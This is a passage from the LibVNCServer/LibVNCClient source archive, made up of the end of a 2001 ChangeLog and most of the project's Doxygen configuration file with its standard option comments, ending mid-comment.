libvncauth/vncauth.c, libvncauth/vncauth.h, vncauth.c: permanently moved authorization 2001-09-25 dscho * Makefile, rfb.h, storepasswd.c: moved vncauth to libvncserver 2001-09-25 dscho * .depend: rmoved unneccessary files 2001-09-25 dscho * Makefile, TODO, cursor.c, example.c, keysym.h, main.c, pnmshow.c, region.h, rfb.h, rfbserver.c: fix cursor bug; missing keysym; fix align problem on SGI; clean up cursor.c clean up rfb.h a bit; endian issues 2001-09-24 dscho * region.h: forgot file 2001-09-24 dscho * Makefile, TODO, cursor.c, example.c, include/Xserver/os.h, main.c, miregion.c, pnmshow.c, rfb.h, rfbserver.c, sockets.c, xalloc.c: bugfix: cursor (works now without xcursor encoding) 2001-09-24 dscho * cursor.c, example.c, main.c, rfb.h, rfbserver.c: cursor changes 2001-09-23 dscho * Makefile, README, TODO, cursor.c, example.c, httpd.c, main.c, rfb.h, rfbserver.c, sockets.c, zlib.c: cleaned up warnings, cursor changes 2001-09-21 dscho * Makefile, classes/index.vnc, cursor.c, example.c, httpd.c, main.c, rfb.h: http added, prepare for cursor 2001-09-20 dscho * README: changed README at last 2001-09-13 dscho * Makefile, bdf2c.pl, example.c, radon.h: Now you can write something in addition to mouse movements ... 2001-08-14 dscho * Makefile, example.c, main.c, pnmshow.c: comments & new example: pnmshow 2001-08-14 dscho * example.c, main.c, rfb.h: now lines are drawn for the example, first steps to make clients independent. 2001-08-14 dscho * Makefile, example.c, main.c, rfb.h, rfbserver.c: hooks inserted 2001-08-01 dscho * Initial revision libvncserver-LibVNCServer-0.9.11/Doxyfile000066400000000000000000002117341303145525000202640ustar00rootroot00000000000000# Doxyfile 1.7.1 # This file describes the settings to be used by the documentation system # doxygen (www.doxygen.org) for a project # # All text after a hash (#) is considered a comment and will be ignored # The format is: # TAG = value [value, ...] # For lists items can also be appended using: # TAG += value [value, ...] # Values that contain spaces should be placed between quotes (" ") #--------------------------------------------------------------------------- # Project related configuration options #--------------------------------------------------------------------------- # This tag specifies the encoding used for all characters in the config file # that follow. The default is UTF-8 which is also the encoding used for all # text before the first occurrence of this tag. Doxygen uses libiconv (or the # iconv built into libc) for the transcoding. See # http://www.gnu.org/software/libiconv for the list of possible encodings. DOXYFILE_ENCODING = UTF-8 # The PROJECT_NAME tag is a single word (or a sequence of words surrounded # by quotes) that should identify the project. PROJECT_NAME = LibVNCServer/LibVNCClient # The PROJECT_NUMBER tag can be used to enter a project or revision number. # This could be handy for archiving the generated documentation or # if some version control system is used. PROJECT_NUMBER = # The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) # base path where the generated documentation will be put. # If a relative path is entered, it will be relative to the location # where doxygen was started. If left blank the current directory will be used. OUTPUT_DIRECTORY = doc # If the CREATE_SUBDIRS tag is set to YES, then doxygen will create # 4096 sub-directories (in 2 levels) under the output directory of each output # format and will distribute the generated files over these directories. # Enabling this option can be useful when feeding doxygen a huge amount of # source files, where putting all generated files in the same directory would # otherwise cause performance problems for the file system. CREATE_SUBDIRS = NO # The OUTPUT_LANGUAGE tag is used to specify the language in which all # documentation generated by doxygen is written. Doxygen will use this # information to generate all constant output in the proper language. # The default language is English, other supported languages are: # Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, # Croatian, Czech, Danish, Dutch, Esperanto, Farsi, Finnish, French, German, # Greek, Hungarian, Italian, Japanese, Japanese-en (Japanese with English # messages), Korean, Korean-en, Lithuanian, Norwegian, Macedonian, Persian, # Polish, Portuguese, Romanian, Russian, Serbian, Serbian-Cyrilic, Slovak, # Slovene, Spanish, Swedish, Ukrainian, and Vietnamese. OUTPUT_LANGUAGE = English # If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will # include brief member descriptions after the members that are listed in # the file and class documentation (similar to JavaDoc). # Set to NO to disable this. BRIEF_MEMBER_DESC = YES # If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend # the brief description of a member or function before the detailed description. # Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the # brief descriptions will be completely suppressed. REPEAT_BRIEF = YES # This tag implements a quasi-intelligent brief description abbreviator # that is used to form the text in various listings. Each string # in this list, if found as the leading text of the brief description, will be # stripped from the text and the result after processing the whole list, is # used as the annotated text. Otherwise, the brief description is used as-is. # If left blank, the following values are used ("$name" is automatically # replaced with the name of the entity): "The $name class" "The $name widget" # "The $name file" "is" "provides" "specifies" "contains" # "represents" "a" "an" "the" ABBREVIATE_BRIEF = "The $name class" \ "The $name widget" \ "The $name file" \ is \ provides \ specifies \ contains \ represents \ a \ an \ the # If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then # Doxygen will generate a detailed section even if there is only a brief # description. ALWAYS_DETAILED_SEC = NO # If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all # inherited members of a class in the documentation of that class as if those # members were ordinary class members. Constructors, destructors and assignment # operators of the base classes will not be shown. INLINE_INHERITED_MEMB = NO # If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full # path before files name in the file list and in the header files. If set # to NO the shortest path that makes the file name unique will be used. FULL_PATH_NAMES = YES # If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag # can be used to strip a user-defined part of the path. Stripping is # only done if one of the specified strings matches the left-hand part of # the path. The tag can be used to show relative paths in the file list. # If left blank the directory from which doxygen is run is used as the # path to strip. STRIP_FROM_PATH = # The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of # the path mentioned in the documentation of a class, which tells # the reader which header file to include in order to use a class. # If left blank only the name of the header file containing the class # definition is used. Otherwise one should specify the include paths that # are normally passed to the compiler using the -I flag. STRIP_FROM_INC_PATH = # If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter # (but less readable) file names. This can be useful is your file systems # doesn't support long names like on DOS, Mac, or CD-ROM. SHORT_NAMES = NO # If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen # will interpret the first line (until the first dot) of a JavaDoc-style # comment as the brief description. If set to NO, the JavaDoc # comments will behave just like regular Qt-style comments # (thus requiring an explicit @brief command for a brief description.) JAVADOC_AUTOBRIEF = YES # If the QT_AUTOBRIEF tag is set to YES then Doxygen will # interpret the first line (until the first dot) of a Qt-style # comment as the brief description. If set to NO, the comments # will behave just like regular Qt-style comments (thus requiring # an explicit \brief command for a brief description.) QT_AUTOBRIEF = NO # The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen # treat a multi-line C++ special comment block (i.e. a block of //! or /// # comments) as a brief description. This used to be the default behaviour. # The new default is to treat a multi-line C++ comment block as a detailed # description. Set this tag to YES if you prefer the old behaviour instead. MULTILINE_CPP_IS_BRIEF = NO # If the INHERIT_DOCS tag is set to YES (the default) then an undocumented # member inherits the documentation from any documented member that it # re-implements. INHERIT_DOCS = YES # If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce # a new page for each member. If set to NO, the documentation of a member will # be part of the file/class/namespace that contains it. SEPARATE_MEMBER_PAGES = NO # The TAB_SIZE tag can be used to set the number of spaces in a tab. # Doxygen uses this value to replace tabs by spaces in code fragments. TAB_SIZE = 8 # This tag can be used to specify a number of aliases that acts # as commands in the documentation. An alias has the form "name=value". # For example adding "sideeffect=\par Side Effects:\n" will allow you to # put the command \sideeffect (or @sideeffect) in the documentation, which # will result in a user-defined paragraph with heading "Side Effects:". # You can put \n's in the value part of an alias to insert newlines. ALIASES = # Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C # sources only. Doxygen will then generate output that is more tailored for C. # For instance, some of the names that are used will be different. The list # of all members will be omitted, etc. OPTIMIZE_OUTPUT_FOR_C = YES # Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java # sources only. Doxygen will then generate output that is more tailored for # Java. For instance, namespaces will be presented as packages, qualified # scopes will look different, etc. OPTIMIZE_OUTPUT_JAVA = NO # Set the OPTIMIZE_FOR_FORTRAN tag to YES if your project consists of Fortran # sources only. Doxygen will then generate output that is more tailored for # Fortran. OPTIMIZE_FOR_FORTRAN = NO # Set the OPTIMIZE_OUTPUT_VHDL tag to YES if your project consists of VHDL # sources. Doxygen will then generate output that is tailored for # VHDL. OPTIMIZE_OUTPUT_VHDL = NO # Doxygen selects the parser to use depending on the extension of the files it # parses. With this tag you can assign which parser to use for a given extension. # Doxygen has a built-in mapping, but you can override or extend it using this # tag. The format is ext=language, where ext is a file extension, and language # is one of the parsers supported by doxygen: IDL, Java, Javascript, CSharp, C, # C++, D, PHP, Objective-C, Python, Fortran, VHDL, C, C++. For instance to make # doxygen treat .inc files as Fortran files (default is PHP), and .f files as C # (default is Fortran), use: inc=Fortran f=C. Note that for custom extensions # you also need to set FILE_PATTERNS otherwise the files are not read by doxygen. EXTENSION_MAPPING = # If you use STL classes (i.e. std::string, std::vector, etc.) but do not want # to include (a tag file for) the STL sources as input, then you should # set this tag to YES in order to let doxygen match functions declarations and # definitions whose arguments contain STL classes (e.g. func(std::string); v.s. # func(std::string) {}). This also make the inheritance and collaboration # diagrams that involve STL classes more complete and accurate. BUILTIN_STL_SUPPORT = NO # If you use Microsoft's C++/CLI language, you should set this option to YES to # enable parsing support. CPP_CLI_SUPPORT = NO # Set the SIP_SUPPORT tag to YES if your project consists of sip sources only. # Doxygen will parse them like normal C++ but will assume all classes use public # instead of private inheritance when no explicit protection keyword is present. SIP_SUPPORT = NO # For Microsoft's IDL there are propget and propput attributes to indicate getter # and setter methods for a property. Setting this option to YES (the default) # will make doxygen to replace the get and set methods by a property in the # documentation. This will only work if the methods are indeed getting or # setting a simple type. If this is not the case, or you want to show the # methods anyway, you should set this option to NO. IDL_PROPERTY_SUPPORT = YES # If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC # tag is set to YES, then doxygen will reuse the documentation of the first # member in the group (if any) for the other members of the group. By default # all members of a group must be documented explicitly. DISTRIBUTE_GROUP_DOC = NO # Set the SUBGROUPING tag to YES (the default) to allow class member groups of # the same type (for instance a group of public functions) to be put as a # subgroup of that type (e.g. under the Public Functions section). Set it to # NO to prevent subgrouping. Alternatively, this can be done per class using # the \nosubgrouping command. SUBGROUPING = YES # When TYPEDEF_HIDES_STRUCT is enabled, a typedef of a struct, union, or enum # is documented as struct, union, or enum with the name of the typedef. So # typedef struct TypeS {} TypeT, will appear in the documentation as a struct # with name TypeT. When disabled the typedef will appear as a member of a file, # namespace, or class. And the struct will be named TypeS. This can typically # be useful for C code in case the coding convention dictates that all compound # types are typedef'ed and only the typedef is referenced, never the tag name. TYPEDEF_HIDES_STRUCT = YES # The SYMBOL_CACHE_SIZE determines the size of the internal cache use to # determine which symbols to keep in memory and which to flush to disk. # When the cache is full, less often used symbols will be written to disk. # For small to medium size projects (<1000 input files) the default value is # probably good enough. For larger projects a too small cache size can cause # doxygen to be busy swapping symbols to and from disk most of the time # causing a significant performance penality. # If the system has enough physical memory increasing the cache will improve the # performance by keeping more symbols in memory. Note that the value works on # a logarithmic scale so increasing the size by one will roughly double the # memory usage. The cache size is given by this formula: # 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0, # corresponding to a cache size of 2^16 = 65536 symbols SYMBOL_CACHE_SIZE = 0 #--------------------------------------------------------------------------- # Build related configuration options #--------------------------------------------------------------------------- # If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in # documentation are documented, even if no documentation was available. # Private class members and static file members will be hidden unless # the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES EXTRACT_ALL = YES # If the EXTRACT_PRIVATE tag is set to YES all private members of a class # will be included in the documentation. EXTRACT_PRIVATE = NO # If the EXTRACT_STATIC tag is set to YES all static members of a file # will be included in the documentation. EXTRACT_STATIC = NO # If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) # defined locally in source files will be included in the documentation. # If set to NO only classes defined in header files are included. EXTRACT_LOCAL_CLASSES = YES # This flag is only useful for Objective-C code. When set to YES local # methods, which are defined in the implementation section but not in # the interface are included in the documentation. # If set to NO (the default) only methods in the interface are included. EXTRACT_LOCAL_METHODS = NO # If this flag is set to YES, the members of anonymous namespaces will be # extracted and appear in the documentation as a namespace called # 'anonymous_namespace{file}', where file will be replaced with the base # name of the file that contains the anonymous namespace. By default # anonymous namespace are hidden. EXTRACT_ANON_NSPACES = NO # If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all # undocumented members of documented classes, files or namespaces. # If set to NO (the default) these members will be included in the # various overviews, but no documentation section is generated. # This option has no effect if EXTRACT_ALL is enabled. HIDE_UNDOC_MEMBERS = NO # If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all # undocumented classes that are normally visible in the class hierarchy. # If set to NO (the default) these classes will be included in the various # overviews. This option has no effect if EXTRACT_ALL is enabled. HIDE_UNDOC_CLASSES = NO # If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all # friend (class|struct|union) declarations. # If set to NO (the default) these declarations will be included in the # documentation. HIDE_FRIEND_COMPOUNDS = NO # If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any # documentation blocks found inside the body of a function. # If set to NO (the default) these blocks will be appended to the # function's detailed documentation block. HIDE_IN_BODY_DOCS = NO # The INTERNAL_DOCS tag determines if documentation # that is typed after a \internal command is included. If the tag is set # to NO (the default) then the documentation will be excluded. # Set it to YES to include the internal documentation. INTERNAL_DOCS = NO # If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate # file names in lower-case letters. If set to YES upper-case letters are also # allowed. This is useful if you have classes or files whose names only differ # in case and if your file system supports case sensitive file names. Windows # and Mac users are advised to set this option to NO. CASE_SENSE_NAMES = NO # If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen # will show members with their full class and namespace scopes in the # documentation. If set to YES the scope will be hidden. HIDE_SCOPE_NAMES = YES # If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen # will put a list of the files that are included by a file in the documentation # of that file. SHOW_INCLUDE_FILES = YES # If the FORCE_LOCAL_INCLUDES tag is set to YES then Doxygen # will list include files with double quotes in the documentation # rather than with sharp brackets. FORCE_LOCAL_INCLUDES = NO # If the INLINE_INFO tag is set to YES (the default) then a tag [inline] # is inserted in the documentation for inline members. INLINE_INFO = YES # If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen # will sort the (detailed) documentation of file and class members # alphabetically by member name. If set to NO the members will appear in # declaration order. SORT_MEMBER_DOCS = YES # If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the # brief documentation of file, namespace and class members alphabetically # by member name. If set to NO (the default) the members will appear in # declaration order. SORT_BRIEF_DOCS = NO # If the SORT_MEMBERS_CTORS_1ST tag is set to YES then doxygen # will sort the (brief and detailed) documentation of class members so that # constructors and destructors are listed first. If set to NO (the default) # the constructors will appear in the respective orders defined by # SORT_MEMBER_DOCS and SORT_BRIEF_DOCS. # This tag will be ignored for brief docs if SORT_BRIEF_DOCS is set to NO # and ignored for detailed docs if SORT_MEMBER_DOCS is set to NO. SORT_MEMBERS_CTORS_1ST = NO # If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the # hierarchy of group names into alphabetical order. If set to NO (the default) # the group names will appear in their defined order. SORT_GROUP_NAMES = NO # If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be # sorted by fully-qualified names, including namespaces. If set to # NO (the default), the class list will be sorted only by class name, # not including the namespace part. # Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. # Note: This option applies only to the class list, not to the # alphabetical list. SORT_BY_SCOPE_NAME = NO # The GENERATE_TODOLIST tag can be used to enable (YES) or # disable (NO) the todo list. This list is created by putting \todo # commands in the documentation. GENERATE_TODOLIST = YES # The GENERATE_TESTLIST tag can be used to enable (YES) or # disable (NO) the test list. This list is created by putting \test # commands in the documentation. GENERATE_TESTLIST = YES # The GENERATE_BUGLIST tag can be used to enable (YES) or # disable (NO) the bug list. This list is created by putting \bug # commands in the documentation. GENERATE_BUGLIST = YES # The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or # disable (NO) the deprecated list. This list is created by putting # \deprecated commands in the documentation. GENERATE_DEPRECATEDLIST= YES # The ENABLED_SECTIONS tag can be used to enable conditional # documentation sections, marked by \if sectionname ... \endif. ENABLED_SECTIONS = # The MAX_INITIALIZER_LINES tag determines the maximum number of lines # the initial value of a variable or define consists of for it to appear in # the documentation. If the initializer consists of more lines than specified # here it will be hidden. Use a value of 0 to hide initializers completely. # The appearance of the initializer of individual variables and defines in the # documentation can be controlled using \showinitializer or \hideinitializer # command in the documentation regardless of this setting. MAX_INITIALIZER_LINES = 30 # Set the SHOW_USED_FILES tag to NO to disable the list of files generated # at the bottom of the documentation of classes and structs. If set to YES the # list will mention the files that were used to generate the documentation. SHOW_USED_FILES = YES # If the sources in your project are distributed over multiple directories # then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy # in the documentation. The default is NO. SHOW_DIRECTORIES = NO # Set the SHOW_FILES tag to NO to disable the generation of the Files page. # This will remove the Files entry from the Quick Index and from the # Folder Tree View (if specified). The default is YES. SHOW_FILES = YES # Set the SHOW_NAMESPACES tag to NO to disable the generation of the # Namespaces page. This will remove the Namespaces entry from the Quick Index # and from the Folder Tree View (if specified). The default is YES. SHOW_NAMESPACES = YES # The FILE_VERSION_FILTER tag can be used to specify a program or script that # doxygen should invoke to get the current version for each file (typically from # the version control system). Doxygen will invoke the program by executing (via # popen()) the command , where is the value of # the FILE_VERSION_FILTER tag, and is the name of an input file # provided by doxygen. Whatever the program writes to standard output # is used as the file version. See the manual for examples. FILE_VERSION_FILTER = # The LAYOUT_FILE tag can be used to specify a layout file which will be parsed # by doxygen. The layout file controls the global structure of the generated # output files in an output format independent way. The create the layout file # that represents doxygen's defaults, run doxygen with the -l option. # You can optionally specify a file name after the option, if omitted # DoxygenLayout.xml will be used as the name of the layout file. LAYOUT_FILE = #--------------------------------------------------------------------------- # configuration options related to warning and progress messages #--------------------------------------------------------------------------- # The QUIET tag can be used to turn on/off the messages that are generated # by doxygen. Possible values are YES and NO. If left blank NO is used. QUIET = NO # The WARNINGS tag can be used to turn on/off the warning messages that are # generated by doxygen. Possible values are YES and NO. If left blank # NO is used. WARNINGS = YES # If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings # for undocumented members. If EXTRACT_ALL is set to YES then this flag will # automatically be disabled. WARN_IF_UNDOCUMENTED = YES # If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for # potential errors in the documentation, such as not documenting some # parameters in a documented function, or documenting parameters that # don't exist or using markup commands wrongly. WARN_IF_DOC_ERROR = YES # This WARN_NO_PARAMDOC option can be abled to get warnings for # functions that are documented, but have no documentation for their parameters # or return value. If set to NO (the default) doxygen will only warn about # wrong or incomplete parameter documentation, but not about the absence of # documentation. WARN_NO_PARAMDOC = NO # The WARN_FORMAT tag determines the format of the warning messages that # doxygen can produce. The string should contain the $file, $line, and $text # tags, which will be replaced by the file and line number from which the # warning originated and the warning text. Optionally the format may contain # $version, which will be replaced by the version of the file (if it could # be obtained via FILE_VERSION_FILTER) WARN_FORMAT = "$file:$line: $text" # The WARN_LOGFILE tag can be used to specify a file to which warning # and error messages should be written. If left blank the output is written # to stderr. WARN_LOGFILE = #--------------------------------------------------------------------------- # configuration options related to the input files #--------------------------------------------------------------------------- # The INPUT tag can be used to specify the files and/or directories that contain # documented source files. You may enter file names like "myfile.cpp" or # directories like "/usr/src/myproject". Separate the files or directories # with spaces. INPUT = rfb \ libvncclient \ libvncserver \ client_examples/SDLvncviewer.c \ client_examples/ppmtest.c \ client_examples/vnc2mpg.c \ examples/camera.c \ examples/example.c \ examples/filetransfer.c \ examples/pnmshow.c \ examples/pnmshow24.c \ examples/vncev.c # This tag can be used to specify the character encoding of the source files # that doxygen parses. Internally doxygen uses the UTF-8 encoding, which is # also the default input encoding. Doxygen uses libiconv (or the iconv built # into libc) for the transcoding. See http://www.gnu.org/software/libiconv for # the list of possible encodings. INPUT_ENCODING = UTF-8 # If the value of the INPUT tag contains directories, you can use the # FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp # and *.h) to filter out the source-files in the directories. If left # blank the following patterns are tested: # *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx # *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py *.f90 FILE_PATTERNS = *.c \ *.cc \ *.cxx \ *.cpp \ *.c++ \ *.d \ *.java \ *.ii \ *.ixx \ *.ipp \ *.i++ \ *.inl \ *.h \ *.hh \ *.hxx \ *.hpp \ *.h++ \ *.idl \ *.odl \ *.cs \ *.php \ *.php3 \ *.inc \ *.m \ *.mm \ *.dox \ *.py \ *.f90 \ *.f \ *.vhd \ *.vhdl # The RECURSIVE tag can be used to turn specify whether or not subdirectories # should be searched for input files as well. Possible values are YES and NO. # If left blank NO is used. RECURSIVE = YES # The EXCLUDE tag can be used to specify files and/or directories that should # excluded from the INPUT source files. This way you can easily exclude a # subdirectory from a directory tree whose root is specified with the INPUT tag. EXCLUDE = rfb/rfbconfig.h \ rfb/default8x16.h # The EXCLUDE_SYMLINKS tag can be used select whether or not files or # directories that are symbolic links (a Unix filesystem feature) are excluded # from the input. EXCLUDE_SYMLINKS = NO # If the value of the INPUT tag contains directories, you can use the # EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude # certain files from those directories. Note that the wildcards are matched # against the file with absolute path, so to exclude all test directories # for example use the pattern */test/* EXCLUDE_PATTERNS = # The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names # (namespaces, classes, functions, etc.) that should be excluded from the # output. The symbol name can be a fully qualified name, a word, or if the # wildcard * is used, a substring. Examples: ANamespace, AClass, # AClass::ANamespace, ANamespace::*Test EXCLUDE_SYMBOLS = # The EXAMPLE_PATH tag can be used to specify one or more files or # directories that contain example code fragments that are included (see # the \include command). EXAMPLE_PATH = client_examples \ examples # If the value of the EXAMPLE_PATH tag contains directories, you can use the # EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp # and *.h) to filter out the source-files in the directories. If left # blank all files are included. EXAMPLE_PATTERNS = * # If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be # searched for input files to be used with the \include or \dontinclude # commands irrespective of the value of the RECURSIVE tag. # Possible values are YES and NO. If left blank NO is used. EXAMPLE_RECURSIVE = NO # The IMAGE_PATH tag can be used to specify one or more files or # directories that contain image that are included in the documentation (see # the \image command). IMAGE_PATH = # The INPUT_FILTER tag can be used to specify a program that doxygen should # invoke to filter for each input file. Doxygen will invoke the filter program # by executing (via popen()) the command , where # is the value of the INPUT_FILTER tag, and is the name of an # input file. Doxygen will then use the output that the filter program writes # to standard output. If FILTER_PATTERNS is specified, this tag will be # ignored. INPUT_FILTER = # The FILTER_PATTERNS tag can be used to specify filters on a per file pattern # basis. Doxygen will compare the file name with each pattern and apply the # filter if there is a match. The filters are a list of the form: # pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further # info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER # is applied to all files. FILTER_PATTERNS = # If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using # INPUT_FILTER) will be used to filter the input files when producing source # files to browse (i.e. when SOURCE_BROWSER is set to YES). FILTER_SOURCE_FILES = NO #--------------------------------------------------------------------------- # configuration options related to source browsing #--------------------------------------------------------------------------- # If the SOURCE_BROWSER tag is set to YES then a list of source files will # be generated. Documented entities will be cross-referenced with these sources. # Note: To get rid of all source code in the generated output, make sure also # VERBATIM_HEADERS is set to NO. SOURCE_BROWSER = YES # Setting the INLINE_SOURCES tag to YES will include the body # of functions and classes directly in the documentation. INLINE_SOURCES = NO # Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct # doxygen to hide any special comment blocks from generated source code # fragments. Normal C and C++ comments will always remain visible. STRIP_CODE_COMMENTS = YES # If the REFERENCED_BY_RELATION tag is set to YES # then for each documented function all documented # functions referencing it will be listed. REFERENCED_BY_RELATION = NO # If the REFERENCES_RELATION tag is set to YES # then for each documented function all documented entities # called/used by that function will be listed. REFERENCES_RELATION = NO # If the REFERENCES_LINK_SOURCE tag is set to YES (the default) # and SOURCE_BROWSER tag is set to YES, then the hyperlinks from # functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will # link to the source code. Otherwise they will link to the documentation. REFERENCES_LINK_SOURCE = YES # If the USE_HTAGS tag is set to YES then the references to source code # will point to the HTML generated by the htags(1) tool instead of doxygen # built-in source browser. The htags tool is part of GNU's global source # tagging system (see http://www.gnu.org/software/global/global.html). You # will need version 4.8.6 or higher. USE_HTAGS = NO # If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen # will generate a verbatim copy of the header file for each class for # which an include is specified. Set to NO to disable this. VERBATIM_HEADERS = YES #--------------------------------------------------------------------------- # configuration options related to the alphabetical class index #--------------------------------------------------------------------------- # If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index # of all compounds will be generated. Enable this if the project # contains a lot of classes, structs, unions or interfaces. ALPHABETICAL_INDEX = YES # If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then # the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns # in which this list will be split (can be a number in the range [1..20]) COLS_IN_ALPHA_INDEX = 5 # In case all classes in a project start with a common prefix, all # classes will be put under the same header in the alphabetical index. # The IGNORE_PREFIX tag can be used to specify one or more prefixes that # should be ignored while generating the index headers. IGNORE_PREFIX = #--------------------------------------------------------------------------- # configuration options related to the HTML output #--------------------------------------------------------------------------- # If the GENERATE_HTML tag is set to YES (the default) Doxygen will # generate HTML output. GENERATE_HTML = YES # The HTML_OUTPUT tag is used to specify where the HTML docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `html' will be used as the default path. HTML_OUTPUT = html # The HTML_FILE_EXTENSION tag can be used to specify the file extension for # each generated HTML page (for example: .htm,.php,.asp). If it is left blank # doxygen will generate files with .html extension. HTML_FILE_EXTENSION = .html # The HTML_HEADER tag can be used to specify a personal HTML header for # each generated HTML page. If it is left blank doxygen will generate a # standard header. HTML_HEADER = # The HTML_FOOTER tag can be used to specify a personal HTML footer for # each generated HTML page. If it is left blank doxygen will generate a # standard footer. HTML_FOOTER = # The HTML_STYLESHEET tag can be used to specify a user-defined cascading # style sheet that is used by each HTML page. It can be used to # fine-tune the look of the HTML output. If the tag is left blank doxygen # will generate a default style sheet. Note that doxygen will try to copy # the style sheet file to the HTML output directory, so don't put your own # stylesheet in the HTML output directory as well, or it will be erased! HTML_STYLESHEET = # The HTML_COLORSTYLE_HUE tag controls the color of the HTML output. # Doxygen will adjust the colors in the stylesheet and background images # according to this color. Hue is specified as an angle on a colorwheel, # see http://en.wikipedia.org/wiki/Hue for more information. # For instance the value 0 represents red, 60 is yellow, 120 is green, # 180 is cyan, 240 is blue, 300 purple, and 360 is red again. # The allowed range is 0 to 359. HTML_COLORSTYLE_HUE = 220 # The HTML_COLORSTYLE_SAT tag controls the purity (or saturation) of # the colors in the HTML output. For a value of 0 the output will use # grayscales only. A value of 255 will produce the most vivid colors. HTML_COLORSTYLE_SAT = 100 # The HTML_COLORSTYLE_GAMMA tag controls the gamma correction applied to # the luminance component of the colors in the HTML output. Values below # 100 gradually make the output lighter, whereas values above 100 make # the output darker. The value divided by 100 is the actual gamma applied, # so 80 represents a gamma of 0.8, The value 220 represents a gamma of 2.2, # and 100 does not change the gamma. HTML_COLORSTYLE_GAMMA = 80 # If the HTML_TIMESTAMP tag is set to YES then the footer of each generated HTML # page will contain the date and time when the page was generated. Setting # this to NO can help when comparing the output of multiple runs. HTML_TIMESTAMP = YES # If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, # files or namespaces will be aligned in HTML using tables. If set to # NO a bullet list will be used. HTML_ALIGN_MEMBERS = YES # If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML # documentation will contain sections that can be hidden and shown after the # page has loaded. For this to work a browser that supports # JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox # Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). HTML_DYNAMIC_SECTIONS = YES # If the GENERATE_DOCSET tag is set to YES, additional index files # will be generated that can be used as input for Apple's Xcode 3 # integrated development environment, introduced with OSX 10.5 (Leopard). # To create a documentation set, doxygen will generate a Makefile in the # HTML output directory. Running make will produce the docset in that # directory and running "make install" will install the docset in # ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find # it at startup. # See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html # for more information. GENERATE_DOCSET = NO # When GENERATE_DOCSET tag is set to YES, this tag determines the name of the # feed. A documentation feed provides an umbrella under which multiple # documentation sets from a single provider (such as a company or product suite) # can be grouped. DOCSET_FEEDNAME = "Doxygen generated docs" # When GENERATE_DOCSET tag is set to YES, this tag specifies a string that # should uniquely identify the documentation set bundle. This should be a # reverse domain-name style string, e.g. com.mycompany.MyDocSet. Doxygen # will append .docset to the name. DOCSET_BUNDLE_ID = org.doxygen.Project # When GENERATE_PUBLISHER_ID tag specifies a string that should uniquely identify # the documentation publisher. This should be a reverse domain-name style # string, e.g. com.mycompany.MyDocSet.documentation. DOCSET_PUBLISHER_ID = org.doxygen.Publisher # The GENERATE_PUBLISHER_NAME tag identifies the documentation publisher. DOCSET_PUBLISHER_NAME = Publisher # If the GENERATE_HTMLHELP tag is set to YES, additional index files # will be generated that can be used as input for tools like the # Microsoft HTML help workshop to generate a compiled HTML help file (.chm) # of the generated HTML documentation. GENERATE_HTMLHELP = NO # If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can # be used to specify the file name of the resulting .chm file. You # can add a path in front of the file if the result should not be # written to the html output directory. CHM_FILE = # If the 